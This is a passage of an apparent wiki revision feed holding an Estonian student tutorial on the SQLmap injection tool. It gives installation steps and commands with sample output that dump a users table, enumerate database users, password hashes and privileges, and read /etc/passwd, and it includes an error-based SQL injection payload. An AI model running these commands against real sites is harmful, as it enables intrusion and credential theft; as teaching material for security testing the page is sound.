--delay=DELAY       Ooteaeg sekundites HTTP päringute vahel&lt;br /&gt;
--force-ssl         Kasuta SSL/HTTPS&#039;i&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. &#039;&#039;&#039;Optimiseerimine&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;--threads=THREADS   Samaaegsete HTTP(s) päringute arv (vaikimisi 1)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. &#039;&#039;&#039;Andmebaas&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-a, --all           Tagasta kõik&lt;br /&gt;
--current-user      Tagasta hetkel kasutuses oleva kasutaja&lt;br /&gt;
--users             Loetle kasutajad&lt;br /&gt;
--passwords         Loetle kasutajate parooliräsid&lt;br /&gt;
--privileges        Loetle kasutajate privileegid&lt;br /&gt;
--roles             Loetle kasutajate rollid&lt;br /&gt;
--dbs               Loetle andmebaasid&lt;br /&gt;
--tables            Loetle andmebaasi tabelid&lt;br /&gt;
--columns           Loetle andmebaasi tabeli veerud&lt;br /&gt;
--schema            Loetle andmebaasi skeem&lt;br /&gt;
--dump              Väljasta kogu andmebaasi sisu&lt;br /&gt;
--dump-all          Väljasta kõikide andmebaaside sisu&lt;br /&gt;
--search            Otsi veergu, tabelit ja/või andmebaasi nime&lt;br /&gt;
-D DB               Mis andmebaasist loetleda&lt;br /&gt;
-T TBL              Mis andmebaasi tabelist loetleda&lt;br /&gt;
-C COL              Mis tabeli veerust loetleda&lt;br /&gt;
-U USER             Mis kasutaja kohta loetleda&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. &#039;&#039;&#039;Failid&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--file-read=RFILE   Loe fail süsteemist&lt;br /&gt;
--file-write=WFILE  Kirjuta fail süsteemi&lt;br /&gt;
--file-dest=DFILE   Absoluutne failitee kuhu kirjutada&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====1. Andmebaasid ja tabelid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Oletame, et tahame SQLmap&#039;iga testida veebilehte. Selleks laseme SQLmap&#039;il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes. Kasutame võtit &#039;&#039;&#039;-u&#039;&#039;&#039; (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:10:33&lt;br /&gt;
&lt;br /&gt;
[12:10:33] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:10:34] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:10:37] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada &#039;&#039;&#039;andmebaaside nimekirja&#039;&#039;&#039;, kasutades võtit &#039;&#039;&#039;--dbs&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.sitemap.com/section.php?id=51&amp;quot; --dbs&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:12:56&lt;br /&gt;
&lt;br /&gt;
[12:12:56] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:12:57] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:13:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:13:00] [INFO] fetching database names&lt;br /&gt;
[12:13:00] [INFO] the SQL query used returns 2 entries&lt;br /&gt;
[12:13:00] [INFO] resumed: information_schema&lt;br /&gt;
[12:13:00] [INFO] resumed: safecosmetics&lt;br /&gt;
available databases [2]:&lt;br /&gt;
[*] information_schema&lt;br /&gt;
[*] safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame &#039;&#039;&#039;kõik tabelid&#039;&#039;&#039;, mis asuvad andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --tables -D safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[11:55:18] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[11:55:18] [INFO] fetching tables for database: &#039;safecosmetics&#039;&lt;br /&gt;
[11:55:19] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[11:55:19] [INFO] the SQL query used returns 216 entries&lt;br /&gt;
[11:55:20] [INFO] retrieved: acl_acl&lt;br /&gt;
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                &lt;br /&gt;
........... more tables&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Leiame &#039;&#039;&#039;veerud tabelis&#039;&#039;&#039; &amp;quot;users&amp;quot; andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --columns -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[12:17:39] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:17:39] [INFO] fetching columns for table &#039;users&#039; in database &#039;safecosmetics&#039;&lt;br /&gt;
[12:17:41] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[12:17:41] [INFO] the SQL query used returns 8 entries&lt;br /&gt;
[12:17:42] [INFO] retrieved: id&lt;br /&gt;
[12:17:43] [INFO] retrieved: int(11)                                                                                         &lt;br /&gt;
[12:17:45] [INFO] retrieved: name                                                                                            &lt;br /&gt;
[12:17:46] [INFO] retrieved: text                                                                                            &lt;br /&gt;
[12:17:47] [INFO] retrieved: password                                                                                        &lt;br /&gt;
[12:17:48] [INFO] retrieved: text                                                                                            &lt;br /&gt;
&lt;br /&gt;
.......&lt;br /&gt;
&lt;br /&gt;
[12:17:59] [INFO] retrieved: hash&lt;br /&gt;
[12:18:01] [INFO] retrieved: varchar(128)&lt;br /&gt;
Database: safecosmetics&lt;br /&gt;
Table: users&lt;br /&gt;
[8 columns]&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| Column            | Type         |&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| email             | text         |&lt;br /&gt;
| hash              | varchar(128) |&lt;br /&gt;
| id                | int(11)      |&lt;br /&gt;
| name              | text         |&lt;br /&gt;
| password          | text         |&lt;br /&gt;
| permission        | tinyint(4)   |&lt;br /&gt;
| system_allow_only | text         |&lt;br /&gt;
| system_home       | text         |&lt;br /&gt;
+-------------------+--------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Leiame eelnevast &#039;&#039;&#039;tabelist andmed&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --dump -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| 1  | 5DIpzzDHFOwnCvPonu | admin     | &amp;lt;blank&amp;gt;   | &amp;lt;blank&amp;gt;  | 3          | &amp;lt;blank&amp;gt;     | &amp;lt;blank&amp;gt;           |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Kasutajad====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Järgnev käsk tagastab infot &#039;&#039;&#039;kasutajate ja rollide&#039;&#039;&#039; kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --users --passwords --privileges --roles --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;..........&lt;br /&gt;
&lt;br /&gt;
database management system users [5]:&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;127.0.0.1&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
&lt;br /&gt;
.............&lt;br /&gt;
&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*]  [1]:&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
[*] root [2]:&lt;br /&gt;
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
&lt;br /&gt;
........&lt;br /&gt;
&lt;br /&gt;
[*] %root% (administrator) [27]:&lt;br /&gt;
    privilege: ALTER&lt;br /&gt;
    privilege: ALTER ROUTINE&lt;br /&gt;
    privilege: CREATE&lt;br /&gt;
    privilege: CREATE ROUTINE&lt;br /&gt;
    privilege: CREATE TEMPORARY TABLES&lt;br /&gt;
    privilege: CREATE USER&lt;br /&gt;
    privilege: CREATE VIEW&lt;br /&gt;
    privilege: DELETE&lt;br /&gt;
    privilege: DROP&lt;br /&gt;
    privilege: EVENT&lt;br /&gt;
    privilege: EXECUTE&lt;br /&gt;
    privilege: FILE&lt;br /&gt;
    privilege: INDEX&lt;br /&gt;
    privilege: INSERT&lt;br /&gt;
    privilege: LOCK TABLES&lt;br /&gt;
    privilege: PROCESS&lt;br /&gt;
    privilege: REFERENCES&lt;br /&gt;
    privilege: RELOAD&lt;br /&gt;
    privilege: REPLICATION CLIENT&lt;br /&gt;
    privilege: REPLICATION SLAVE&lt;br /&gt;
    privilege: SELECT&lt;br /&gt;
    privilege: SHOW DATABASES&lt;br /&gt;
    privilege: SHOW VIEW&lt;br /&gt;
    privilege: SHUTDOWN&lt;br /&gt;
    privilege: SUPER&lt;br /&gt;
    privilege: TRIGGER&lt;br /&gt;
    privilege: UPDATE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Leiame info hetkel kasutusel oleva &#039;&#039;&#039;kasutaja, andmebaasi ja hostinime&#039;&#039;&#039; kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --current-user --is-dba --current-db --hostname --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;........&lt;br /&gt;
[11:32:33] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: Linux Red Hat Enterprise 6 (Santiago)&lt;br /&gt;
web application technology: PHP 5.3.3, Apache 2.2.15&lt;br /&gt;
back-end DBMS: MySQL 5.0.11&lt;br /&gt;
[11:32:33] [INFO] fetching current user&lt;br /&gt;
[11:32:33] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:33] [INFO] retrieved: 14&lt;br /&gt;
[11:32:38] [INFO] retrieved: root@localhost             &lt;br /&gt;
current user:    &#039;root@localhost&#039;&lt;br /&gt;
[11:32:38] [INFO] fetching current database&lt;br /&gt;
[11:32:38] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:38] [INFO] retrieved: 5&lt;br /&gt;
[11:32:40] [INFO] resumed: profile_data&lt;br /&gt;
current database:    &#039;profile_data&#039;&lt;br /&gt;
[11:32:40] [INFO] fetching server hostname&lt;br /&gt;
[11:32:40] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:40] [INFO] retrieved: 21&lt;br /&gt;
[11:32:48] [INFO] retrieved: localhost.localdomain             &lt;br /&gt;
hostname:    &#039;localhost.localdomain&#039;&lt;br /&gt;
[11:32:48] [INFO] testing if current user is DBA&lt;br /&gt;
[11:32:48] [INFO] fetching current user&lt;br /&gt;
current user is DBA:    False&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Failid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Faili lugemine&#039;&#039;&#039; kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --file-read=/etc/passwd --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutatud kirjandus==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88532</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88532"/>
		<updated>2015-05-14T14:08:05Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====1. Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====1. Andmebaasid ja tabelid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Oletame, et tahame SQLmap&#039;iga testida veebilehte. Selleks laseme SQLmap&#039;il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes.[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:10:33&lt;br /&gt;
&lt;br /&gt;
[12:10:33] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:10:34] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:10:37] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada &#039;&#039;&#039;andmebaaside nimekirja&#039;&#039;&#039;, kasutades võtit &#039;&#039;&#039;--dbs&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.sitemap.com/section.php?id=51&amp;quot; --dbs&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:12:56&lt;br /&gt;
&lt;br /&gt;
[12:12:56] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:12:57] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:13:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:13:00] [INFO] fetching database names&lt;br /&gt;
[12:13:00] [INFO] the SQL query used returns 2 entries&lt;br /&gt;
[12:13:00] [INFO] resumed: information_schema&lt;br /&gt;
[12:13:00] [INFO] resumed: safecosmetics&lt;br /&gt;
available databases [2]:&lt;br /&gt;
[*] information_schema&lt;br /&gt;
[*] safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame &#039;&#039;&#039;kõik tabelid&#039;&#039;&#039;, mis asuvad andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --tables -D safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[11:55:18] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[11:55:18] [INFO] fetching tables for database: &#039;safecosmetics&#039;&lt;br /&gt;
[11:55:19] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[11:55:19] [INFO] the SQL query used returns 216 entries&lt;br /&gt;
[11:55:20] [INFO] retrieved: acl_acl&lt;br /&gt;
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                &lt;br /&gt;
........... more tables&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Leiame &#039;&#039;&#039;veerud tabelis&#039;&#039;&#039; &amp;quot;users&amp;quot; andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --columns -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[12:17:39] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:17:39] [INFO] fetching columns for table &#039;users&#039; in database &#039;safecosmetics&#039;&lt;br /&gt;
[12:17:41] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[12:17:41] [INFO] the SQL query used returns 8 entries&lt;br /&gt;
